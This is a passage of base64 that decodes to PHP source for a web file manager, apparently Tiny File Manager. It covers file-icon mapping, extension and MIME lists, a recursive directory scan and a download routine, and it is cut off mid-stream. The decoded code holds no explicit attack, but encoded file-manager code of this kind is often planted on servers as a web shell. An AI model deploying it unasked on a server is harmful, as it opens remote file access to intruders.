0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fY29udmVydF93aW4oJGZpbGVuYW1lKVxue1xuICAgIGlmIChGTV9JU19XSU4gJiYgZnVuY3Rpb25fZXhpc3RzKCdpY29udicpKSB7XG4gICAgICAgICRmaWxlbmFtZSA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04XC9cL0lHTk9SRScsICRmaWxlbmFtZSk7XG4gICAgfVxuICAgIHJldHVybiAkZmlsZW5hbWU7XG59XG5cblwvKipcbiAqIEBwYXJhbSAkb2JqXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9vYmplY3RfdG9fYXJyYXkoJG9iailcbntcbiAgICBpZiAoIWlzX29iamVjdCgkb2JqKSAmJiAhaXNfYXJyYXkoJG9iaikpIHtcbiAgICAgICAgcmV0dXJuICRvYmo7XG4gICAgfVxuICAgIGlmIChpc19vYmplY3QoJG9iaikpIHtcbiAgICAgICAgJG9iaiA9IGdldF9vYmplY3RfdmFycygkb2JqKTtcbiAgICB9XG4gICAgcmV0dXJuIGFycmF5X21hcCgnZm1fb2JqZWN0X3RvX2FycmF5JywgJG9iaik7XG59XG5cblwvKipcbiAqIEdldCBDU1MgY2xhc3NuYW1lIGZvciBmaWxlXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X2ZpbGVfaWNvbl9jbGFzcygkcGF0aClcbntcbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKSk7XG5cbiAgICBzd2l0Y2ggKCRleHQpIHtcbiAgICAgICAgY2FzZSAnaWNvJzpcbiAgICAgICAgY2FzZSAnZ2lmJzpcbiAgICAgICAgY2FzZSAnanBnJzpcbiAgICAgICAgY2FzZSAnanBlZyc6XG4gICAgICAgIGNhc2UgJ2pwYyc6XG4gICAgICAgIGNhc2UgJ2pwMic6XG4gICAgICAgIGNhc2UgJ2pweCc6XG4gICAgICAgIGNhc2UgJ3hibSc6XG4gICAgICAgIGNhc2UgJ3dibXAnOlxuICAgICAgICBjYXNlICdwbmcnOlxuICAgICAgICBjYXNlICdibXAnOlxuICAgICAgICBjYXNlICd0aWYnOlxuICAgICAgICBjYXNlICd0aWZmJzpcbiAgICAgICAgY2FzZSAnd2VicCc6XG4gICAgICAgIGNhc2UgJ2F2aWYnOlxuICAgICAgICBjYXNlICdzdmcnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1waWN0dXJlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3Bhc3N3ZCc6XG4gICAgICAgIGNhc2UgJ2Z0cHF1b3RhJzpcbiAgICAgICAgY2FzZSAnc3FsJzpcbiAgICAgICAgY2FzZSAnanMnOlxuICAgICAgICBjYXNlICd0cyc6XG4gICAgICAgIGNhc2UgJ2pzeCc6XG4gICAgICAgIGNhc2UgJ3RzeCc6XG4gICAgICAgIGNhc2UgJ2hicyc6XG4gICAgICAgIGNhc2UgJ2pzb24nOlxuICAgICAgICBjYXNlICdzaCc6XG4gICAgICAgIGNhc2UgJ2NvbmZpZyc6XG4gICAgICAgIGNhc2UgJ3R3aWcnOlxuICAgICAgICBjYXNlICd0cGwnOlxuICAgICAgICBjYXNlICdtZCc6XG4gICAgICAgIGNhc2UgJ2dpdGlnbm9yZSc6XG4gICAgICAgIGNhc2UgJ2MnOlxuICAgICAgICBjYXNlICdjcHAnOlxuICAgICAgICBjYXNlICdjcyc6XG4gICAgICAgIGNhc2UgJ3B5JzpcbiAgICAgICAgY2FzZSAncnMnOlxuICAgICAgICBjYXNlICdtYXAnOlxuICAgICAgICBjYXNlICdsb2NrJzpcbiAgICAgICAgY2FzZSAnZHRkJzpcbiAgICAgICAgY2FzZSAncHMxJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1jb2RlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3R4dCc6XG4gICAgICAgIGNhc2UgJ2luaSc6XG4gICAgICAgIGNhc2UgJ2NvbmYnOlxuICAgICAgICBjYXNlICdsb2cnOlxuICAgICAgICBjYXNlICdodGFjY2Vzcyc6XG4gICAgICAgIGNhc2UgJ3lhbWwnOlxuICAgICAgICBjYXNlICd5bWwnOlxuICAgICAgICBjYXNlICd0b21sJzpcbiAgICAgICAgY2FzZSAndG1wJzpcbiAgICAgICAgY2FzZSAndG9wJzpcbiAgICAgICAgY2FzZSAnYm90JzpcbiAgICAgICAgY2FzZSAnZGF0JzpcbiAgICAgICAgY2FzZSAnYmFrJzpcbiAgICAgICAgY2FzZSAnaHRwYXNzd2QnOlxuICAgICAgICBjYXNlICdwbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtdGV4dC1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdjc3MnOlxuICAgICAgICBjYXNlICdsZXNzJzpcbiAgICAgICAgY2FzZSAnc2Fzcyc6XG4gICAgICAgIGNhc2UgJ3Njc3MnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1jc3MzJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdiejInOlxuICAgICAgICBjYXNlICd0YnoyJzpcbiAgICAgICAgY2FzZSAndGJ6JzpcbiAgICAgICAgY2FzZSAnemlwJzpcbiAgICAgICAgY2FzZSAncmFyJzpcbiAgICAgICAgY2FzZSAnZ3onOlxuICAgICAgICBjYXNlICd0Z3onOlxuICAgICAgICBjYXNlICd0YXInOlxuICAgICAgICBjYXNlICc3eic6XG4gICAgICAgIGNhc2UgJ3h6JzpcbiAgICAgICAgY2FzZSAndHh6JzpcbiAgICAgICAgY2FzZSAnenN0JzpcbiAgICAgICAgY2FzZSAndHpzdCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtYXJjaGl2ZS1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdwaHAnOlxuICAgICAgICBjYXNlICdwaHA0JzpcbiAgICAgICAgY2FzZSAncGhwNSc6XG4gICAgICAgIGNhc2UgJ3BocHMnOlxuICAgICAgICBjYXNlICdwaHRtbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWNvZGUnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2h0bSc6XG4gICAgICAgIGNhc2UgJ2h0bWwnOlxuICAgICAgICBjYXNlICdzaHRtbCc6XG4gICAgICAgIGNhc2UgJ3hodG1sJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtaHRtbDUnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3htbCc6XG4gICAgICAgIGNhc2UgJ3hzbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtZXhjZWwtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnd2F2JzpcbiAgICAgICAgY2FzZSAnbXAzJzpcbiAgICAgICAgY2FzZSAnbXAyJzpcbiAgICAgICAgY2FzZSAnbTRhJzpcbiAgICAgICAgY2FzZSAnYWFjJzpcbiAgICAgICAgY2FzZSAnb2dnJzpcbiAgICAgICAgY2FzZSAnb2dhJzpcbiAgICAgICAgY2FzZSAnd21hJzpcbiAgICAgICAgY2FzZSAnbWthJzpcbiAgICAgICAgY2FzZSAnZmxhYyc6XG4gICAgICAgIGNhc2UgJ2FjMyc6XG4gICAgICAgIGNhc2UgJ3Rkcyc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLW11c2ljJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdtM3UnOlxuICAgICAgICBjYXNlICdtM3U4JzpcbiAgICAgICAgY2FzZSAncGxzJzpcbiAgICAgICAgY2FzZSAnY3VlJzpcbiAgICAgICAgY2FzZSAneHNwZic6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWhlYWRwaG9uZXMnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2F2aSc6XG4gICAgICAgIGNhc2UgJ21wZyc6XG4gICAgICAgIGNhc2UgJ21wZWcnOlxuICAgICAgICBjYXNlICdtcDQnOlxuICAgICAgICBjYXNlICdtNHYnOlxuICAgICAgICBjYXNlICdmbHYnOlxuICAgICAgICBjYXNlICdmNHYnOlxuICAgICAgICBjYXNlICdvZ20nOlxuICAgICAgICBjYXNlICdvZ3YnOlxuICAgICAgICBjYXNlICdtb3YnOlxuICAgICAgICBjYXNlICdta3YnOlxuICAgICAgICBjYXNlICczZ3AnOlxuICAgICAgICBjYXNlICdhc2YnOlxuICAgICAgICBjYXNlICd3bXYnOlxuICAgICAgICBjYXNlICd3ZWJtJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS12aWRlby1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdlbWwnOlxuICAgICAgICBjYXNlICdtc2cnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1lbnZlbG9wZS1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICd4bHMnOlxuICAgICAgICBjYXNlICd4bHN4JzpcbiAgICAgICAgY2FzZSAnb2RzJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1leGNlbC1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdjc3YnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXRleHQtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnYmFrJzpcbiAgICAgICAgY2FzZSAnc3dwJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtY2xpcGJvYXJkJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdkb2MnOlxuICAgICAgICBjYXNlICdkb2N4JzpcbiAgICAgICAgY2FzZSAnb2R0JzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS13b3JkLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3BwdCc6XG4gICAgICAgIGNhc2UgJ3BwdHgnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXBvd2VycG9pbnQtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAndHRmJzpcbiAgICAgICAgY2FzZSAndHRjJzpcbiAgICAgICAgY2FzZSAnb3RmJzpcbiAgICAgICAgY2FzZSAnd29mZic6XG4gICAgICAgIGNhc2UgJ3dvZmYyJzpcbiAgICAgICAgY2FzZSAnZW90JzpcbiAgICAgICAgY2FzZSAnZm9uJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZm9udCc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAncGRmJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1wZGYtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAncHNkJzpcbiAgICAgICAgY2FzZSAnYWknOlxuICAgICAgICBjYXNlICdlcHMnOlxuICAgICAgICBjYXNlICdmbGEnOlxuICAgICAgICBjYXNlICdzd2YnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWltYWdlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2V4ZSc6XG4gICAgICAgIGNhc2UgJ21zaSc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnYmF0JzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtdGVybWluYWwnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGRlZmF1bHQ6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWluZm8tY2lyY2xlJztcbiAgICB9XG5cbiAgICByZXR1cm4gJGltZztcbn1cblxuXC8qKlxuICogR2V0IGltYWdlIGZpbGVzIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9pbWFnZV9leHRzKClcbntcbiAgICByZXR1cm4gYXJyYXkoJ2ljbycsICdnaWYnLCAnanBnJywgJ2pwZWcnLCAnanBjJywgJ2pwMicsICdqcHgnLCAneGJtJywgJ3dibXAnLCAncG5nJywgJ2JtcCcsICd0aWYnLCAndGlmZicsICdwc2QnLCAnc3ZnJywgJ3dlYnAnLCAnYXZpZicpO1xufVxuXG5cLyoqXG4gKiBHZXQgdmlkZW8gZmlsZXMgZXh0ZW5zaW9uc1xuICogQHJldHVybiBhcnJheVxuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X3ZpZGVvX2V4dHMoKVxue1xuICAgIHJldHVybiBhcnJheSgnYXZpJywgJ3dlYm0nLCAnd212JywgJ21wNCcsICdtNHYnLCAnb2dtJywgJ29ndicsICdtb3YnLCAnbWt2Jyk7XG59XG5cblwvKipcbiAqIEdldCBhdWRpbyBmaWxlcyBleHRlbnNpb25zXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfYXVkaW9fZXh0cygpXG57XG4gICAgcmV0dXJuIGFycmF5KCd3YXYnLCAnbXAzJywgJ29nZycsICdtNGEnKTtcbn1cblxuXC8qKlxuICogR2V0IHRleHQgZmlsZSBleHRlbnNpb25zXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdGV4dF9leHRzKClcbntcbiAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICd0eHQnLFxuICAgICAgICAnY3NzJyxcbiAgICAgICAgJ2luaScsXG4gICAgICAgICdjb25mJyxcbiAgICAgICAgJ2xvZycsXG4gICAgICAgICdodGFjY2VzcycsXG4gICAgICAgICdwYXNzd2QnLFxuICAgICAgICAnZnRwcXVvdGEnLFxuICAgICAgICAnc3FsJyxcbiAgICAgICAgJ2pzJyxcbiAgICAgICAgJ3RzJyxcbiAgICAgICAgJ2pzeCcsXG4gICAgICAgICd0c3gnLFxuICAgICAgICAnbWpzJyxcbiAgICAgICAgJ2pzb24nLFxuICAgICAgICAnc2gnLFxuICAgICAgICAnY29uZmlnJyxcbiAgICAgICAgJ3BocCcsXG4gICAgICAgICdwaHA0JyxcbiAgICAgICAgJ3BocDUnLFxuICAgICAgICAncGhwcycsXG4gICAgICAgICdwaHRtbCcsXG4gICAgICAgICdodG0nLFxuICAgICAgICAnaHRtbCcsXG4gICAgICAgICdzaHRtbCcsXG4gICAgICAgICd4aHRtbCcsXG4gICAgICAgICd4bWwnLFxuICAgICAgICAneHNsJyxcbiAgICAgICAgJ20zdScsXG4gICAgICAgICdtM3U4JyxcbiAgICAgICAgJ3BscycsXG4gICAgICAgICdjdWUnLFxuICAgICAgICAnYmFzaCcsXG4gICAgICAgICd2dWUnLFxuICAgICAgICAnZW1sJyxcbiAgICAgICAgJ21zZycsXG4gICAgICAgICdjc3YnLFxuICAgICAgICAnYmF0JyxcbiAgICAgICAgJ3R3aWcnLFxuICAgICAgICAndHBsJyxcbiAgICAgICAgJ21kJyxcbiAgICAgICAgJ2dpdGlnbm9yZScsXG4gICAgICAgICdsZXNzJyxcbiAgICAgICAgJ3Nhc3MnLFxuICAgICAgICAnc2NzcycsXG4gICAgICAgICdjJyxcbiAgICAgICAgJ2NwcCcsXG4gICAgICAgICdjcycsXG4gICAgICAgICdweScsXG4gICAgICAgICdnbycsXG4gICAgICAgICd6c2gnLFxuICAgICAgICAnc3dpZnQnLFxuICAgICAgICAnbWFwJyxcbiAgICAgICAgJ2xvY2snLFxuICAgICAgICAnZHRkJyxcbiAgICAgICAgJ3N2ZycsXG4gICAgICAgICdhc3AnLFxuICAgICAgICAnYXNweCcsXG4gICAgICAgICdhc3gnLFxuICAgICAgICAnYXNteCcsXG4gICAgICAgICdhc2h4JyxcbiAgICAgICAgJ2pzcCcsXG4gICAgICAgICdqc3B4JyxcbiAgICAgICAgJ2NnaScsXG4gICAgICAgICdkb2NrZXJmaWxlJyxcbiAgICAgICAgJ3J1YnknLFxuICAgICAgICAneW1sJyxcbiAgICAgICAgJ3lhbWwnLFxuICAgICAgICAndG9tbCcsXG4gICAgICAgICd2aG9zdCcsXG4gICAgICAgICdzY3B0JyxcbiAgICAgICAgJ2FwcGxlc2NyaXB0JyxcbiAgICAgICAgJ2NzeCcsXG4gICAgICAgICdjc2h0bWwnLFxuICAgICAgICAnYysrJyxcbiAgICAgICAgJ2NvZmZlZScsXG4gICAgICAgICdjZm0nLFxuICAgICAgICAncmInLFxuICAgICAgICAnZ3JhcGhxbCcsXG4gICAgICAgICdtdXN0YWNoZScsXG4gICAgICAgICdqaW5qYScsXG4gICAgICAgICdodHRwJyxcbiAgICAgICAgJ2hhbmRsZWJhcnMnLFxuICAgICAgICAnamF2YScsXG4gICAgICAgICdlcycsXG4gICAgICAgICdlczYnLFxuICAgICAgICAnbWFya2Rvd24nLFxuICAgICAgICAnd2lraScsXG4gICAgICAgICd0bXAnLFxuICAgICAgICAndG9wJyxcbiAgICAgICAgJ2JvdCcsXG4gICAgICAgICdkYXQnLFxuICAgICAgICAnYmFrJyxcbiAgICAgICAgJ2h0cGFzc3dkJyxcbiAgICAgICAgJ3BsJyxcbiAgICAgICAgJ3BzMSdcbiAgICApO1xufVxuXG5cLyoqXG4gKiBHZXQgbWltZSB0eXBlcyBvZiB0ZXh0IGZpbGVzXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdGV4dF9taW1lcygpXG57XG4gICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAnYXBwbGljYXRpb25cL3htbCcsXG4gICAgICAgICdhcHBsaWNhdGlvblwvamF2YXNjcmlwdCcsXG4gICAgICAgICdhcHBsaWNhdGlvblwveC1qYXZhc2NyaXB0JyxcbiAgICAgICAgJ2ltYWdlXC9zdmcreG1sJyxcbiAgICAgICAgJ21lc3NhZ2VcL3JmYzgyMicsXG4gICAgICAgICdhcHBsaWNhdGlvblwvanNvbicsXG4gICAgKTtcbn1cblxuXC8qKlxuICogR2V0IGZpbGUgbmFtZXMgb2YgdGV4dCBmaWxlcyB3XC9vIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF90ZXh0X25hbWVzKClcbntcbiAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICdsaWNlbnNlJyxcbiAgICAgICAgJ3JlYWRtZScsXG4gICAgICAgICdhdXRob3JzJyxcbiAgICAgICAgJ2NvbnRyaWJ1dG9ycycsXG4gICAgICAgICdjaGFuZ2Vsb2cnLFxuICAgICk7XG59XG5cblwvKipcbiAqIEdldCBvbmxpbmUgZG9jcyB2aWV3ZXIgc3VwcG9ydGVkIGZpbGVzIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9vbmxpbmVWaWV3ZXJfZXh0cygpXG57XG4gICAgcmV0dXJuIGFycmF5KCdkb2MnLCAnZG9jeCcsICd4bHMnLCAneGxzeCcsICdwZGYnLCAncHB0JywgJ3BwdHgnLCAnYWknLCAncHNkJywgJ2R4ZicsICd4cHMnLCAncmFyJywgJ29kdCcsICdvZHMnKTtcbn1cblxuXC8qKlxuICogSXQgcmV0dXJucyB0aGUgbWltZSB0eXBlIG9mIGEgZmlsZSBiYXNlZCBvbiBpdHMgZXh0ZW5zaW9uLlxuICogQHBhcmFtIGV4dGVuc2lvbiBUaGUgZmlsZSBleHRlbnNpb24gb2YgdGhlIGZpbGUgeW91IHdhbnQgdG8gZ2V0IHRoZSBtaW1lIHR5cGUgZm9yLlxuICogQHJldHVybiBzdHJpbmd8c3RyaW5nW10gVGhlIG1pbWUgdHlwZSBvZiB0aGUgZmlsZS5cbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9maWxlX21pbWVzKCRleHRlbnNpb24pXG57XG4gICAgJGZpbGVUeXBlc1snc3dmJ10gPSAnYXBwbGljYXRpb25cL3gtc2hvY2t3YXZlLWZsYXNoJztcbiAgICAkZmlsZVR5cGVzWydwZGYnXSA9ICdhcHBsaWNhdGlvblwvcGRmJztcbiAgICAkZmlsZVR5cGVzWydleGUnXSA9ICdhcHBsaWNhdGlvblwvb2N0ZXQtc3RyZWFtJztcbiAgICAkZmlsZVR5cGVzWyd6aXAnXSA9ICdhcHBsaWNhdGlvblwvemlwJztcbiAgICAkZmlsZVR5cGVzWydkb2MnXSA9ICdhcHBsaWNhdGlvblwvbXN3b3JkJztcbiAgICAkZmlsZVR5cGVzWyd4bHMnXSA9ICdhcHBsaWNhdGlvblwvdm5kLm1zLWV4Y2VsJztcbiAgICAkZmlsZVR5cGVzWydwcHQnXSA9ICdhcHBsaWNhdGlvblwvdm5kLm1zLXBvd2VycG9pbnQnO1xuICAgICRmaWxlVHlwZXNbJ2dpZiddID0gJ2ltYWdlXC9naWYnO1xuICAgICRmaWxlVHlwZXNbJ3BuZyddID0gJ2ltYWdlXC9wbmcnO1xuICAgICRmaWxlVHlwZXNbJ2pwZWcnXSA9ICdpbWFnZVwvanBnJztcbiAgICAkZmlsZVR5cGVzWydqcGcnXSA9ICdpbWFnZVwvanBnJztcbiAgICAkZmlsZVR5cGVzWyd3ZWJwJ10gPSAnaW1hZ2VcL3dlYnAnO1xuICAgICRmaWxlVHlwZXNbJ2F2aWYnXSA9ICdpbWFnZVwvYXZpZic7XG4gICAgJGZpbGVUeXBlc1sncmFyJ10gPSAnYXBwbGljYXRpb25cL3Jhcic7XG5cbiAgICAkZmlsZVR5cGVzWydyYSddID0gJ2F1ZGlvXC94LXBuLXJlYWxhdWRpbyc7XG4gICAgJGZpbGVUeXBlc1sncmFtJ10gPSAnYXVkaW9cL3gtcG4tcmVhbGF1ZGlvJztcbiAgICAkZmlsZVR5cGVzWydvZ2cnXSA9ICdhdWRpb1wveC1wbi1yZWFsYXVkaW8nO1xuXG4gICAgJGZpbGVUeXBlc1snd2F2J10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snd212J10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snYXZpJ10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snYXNmJ10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snZGl2eCddID0gJ3ZpZGVvXC94LW1zdmlkZW8nO1xuXG4gICAgJGZpbGVUeXBlc1snbXAzJ10gPSAnYXVkaW9cL21wZWcnO1xuICAgICRmaWxlVHlwZXNbJ21wNCddID0gJ3ZpZGVvXC9tcDQnO1xuICAgICRmaWxlVHlwZXNbJ21wZWcnXSA9ICd2aWRlb1wvbXBlZyc7XG4gICAgJGZpbGVUeXBlc1snbXBnJ10gPSAndmlkZW9cL21wZWcnO1xuICAgICRmaWxlVHlwZXNbJ21wZSddID0gJ3ZpZGVvXC9tcGVnJztcbiAgICAkZmlsZVR5cGVzWydtb3YnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydzd2YnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWyczZ3AnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydtNGEnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydhYWMnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydtM3UnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcblxuICAgICRmaWxlVHlwZXNbJ3BocCddID0gWydhcHBsaWNhdGlvblwveC1waHAnXTtcbiAgICAkZmlsZVR5cGVzWydodG1sJ10gPSBbJ3RleHRcL2h0bWwnXTtcbiAgICAkZmlsZVR5cGVzWyd0eHQnXSA9IFsndGV4dFwvcGxhaW4nXTtcbiAgICBpZiAoZW1wdHkoJGZpbGVUeXBlc1skZXh0ZW5zaW9uXSkpIHtcbiAgICAgICAgJGZpbGVUeXBlc1skZXh0ZW5zaW9uXSA9IFsnYXBwbGljYXRpb25cL29jdGV0LXN0cmVhbSddO1xuICAgIH1cbiAgICByZXR1cm4gJGZpbGVUeXBlc1skZXh0ZW5zaW9uXTtcbn1cblxuXC8qKlxuICogVGhpcyBmdW5jdGlvbiBzY2FucyB0aGUgZmlsZXMgYW5kIGZvbGRlciByZWN1cnNpdmVseSwgYW5kIHJldHVybiBtYXRjaGluZyBmaWxlc1xuICogQHBhcmFtIHN0cmluZyAkZGlyXG4gKiBAcGFyYW0gc3RyaW5nICRmaWx0ZXJcbiAqIEByZXR1cm4gYXJyYXl8bnVsbFxuICpcL1xuZnVuY3Rpb24gc2NhbigkZGlyID0gJycsICRmaWx0ZXIgPSAnJylcbntcbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSCAuICdcLycgLiAkZGlyO1xuICAgIGlmICgkcGF0aCkge1xuICAgICAgICAkaXRlID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRwYXRoKSk7XG4gICAgICAgICRyaWkgPSBuZXcgUmVnZXhJdGVyYXRvcigkaXRlLCBcIlwvKFwiIC4gJGZpbHRlciAuIFwiKVwvaVwiKTtcblxuICAgICAgICAkZmlsZXMgPSBhcnJheSgpO1xuICAgICAgICBmb3JlYWNoICgkcmlpIGFzICRmaWxlKSB7XG4gICAgICAgICAgICBpZiAoISRmaWxlLT5pc0RpcigpKSB7XG4gICAgICAgICAgICAgICAgJGZpbGVOYW1lID0gJGZpbGUtPmdldEZpbGVuYW1lKCk7XG4gICAgICAgICAgICAgICAgJGxvY2F0aW9uID0gc3RyX3JlcGxhY2UoRk1fUk9PVF9QQVRILCAnJywgJGZpbGUtPmdldFBhdGgoKSk7XG4gICAgICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgXCJuYW1lXCIgPT4gJGZpbGVOYW1lLFxuICAgICAgICAgICAgICAgICAgICBcInR5cGVcIiA9PiBcImZpbGVcIixcbiAgICAgICAgICAgICAgICAgICAgXCJwYXRoXCIgPT4gJGxvY2F0aW9uLFxuICAgICAgICAgICAgICAgICk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICRmaWxlcztcbiAgICB9XG59XG5cblwvKipcbiAqIFBhcmFtZXRlcnM6IGRvd25sb2FkRmlsZShGaWxlIExvY2F0aW9uLCBGaWxlIE5hbWUsXG4gKiBtYXggc3BlZWQsIGlzIHN0cmVhbWluZ1xuICogSWYgc3RyZWFtaW5nIC0gdmlkZW9zIHdpbGwgc2hvdyBhcyB2aWRlb3MsIGltYWdlcyBhcyBpbWFnZXNcbiAqIGluc3RlYWQgb2YgZG93bmxvYWQgcHJvbXB0XG4gKiBodHRwczpcL1wvc3RhY2tvdmVyZmxvdy5jb21cL2FcLzEzODIxOTkyXC8xMTY0NjQyXG4gKlwvXG5mdW5jdGlvbiBmbV9kb3dubG9hZF9maWxlKCRmaWxlTG9jYXRpb24sICRmaWxlTmFtZSwgJGNodW5rU2l6ZSAgPSAxMDI0KVxue1xuICAgIGlmIChjb25uZWN0aW9uX3N0YXR1cygpICE9IDApXG4gICAgICAgIHJldHVybiAoZmFsc2UpO1xuICAgICRleHRlbnNpb24gPSBwYXRoaW5mbygkZmlsZU5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTik7XG5cbiAgICAkY29udGVudFR5cGUgPSBmbV9nZXRfZmlsZV9taW1lcygkZXh0ZW5zaW9uKTtcblxuICAgIGlmIChpc19hcnJheSgkY29udGVudFR5cGUpKSB7XG4gICAgICAgICRjb250ZW50VHlwZSA9IGltcGxvZGUoJyAnLCAkY29udGVudFR5cGUpO1xuICAgIH1cblxuICAgICRzaXplID0gZmlsZXNpemUoJGZpbGVMb2NhdGlvbik7XG5cbiAgICBpZiAoJHNpemUgPT0gMCkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnWmVybyBieXRlIGZpbGUhIEFib3J0aW5nIGRvd25sb2FkJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcblxuICAgICAgICByZXR1cm4gKGZhbHNlKTtcbiAgICB9XG5cbiAgICBAaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAwKTtcbiAgICAkZnAgPSBmb3BlbihcIiRmaWxlTG9jYXRpb25cIiwgXCJyYlwiKTtcblxuICAgIGlmICgkZnAgPT09IGZhbHNlKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdDYW5ub3Qgb3BlbiBmaWxlISBBYm9ydGluZyBkb3dubG9hZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9Q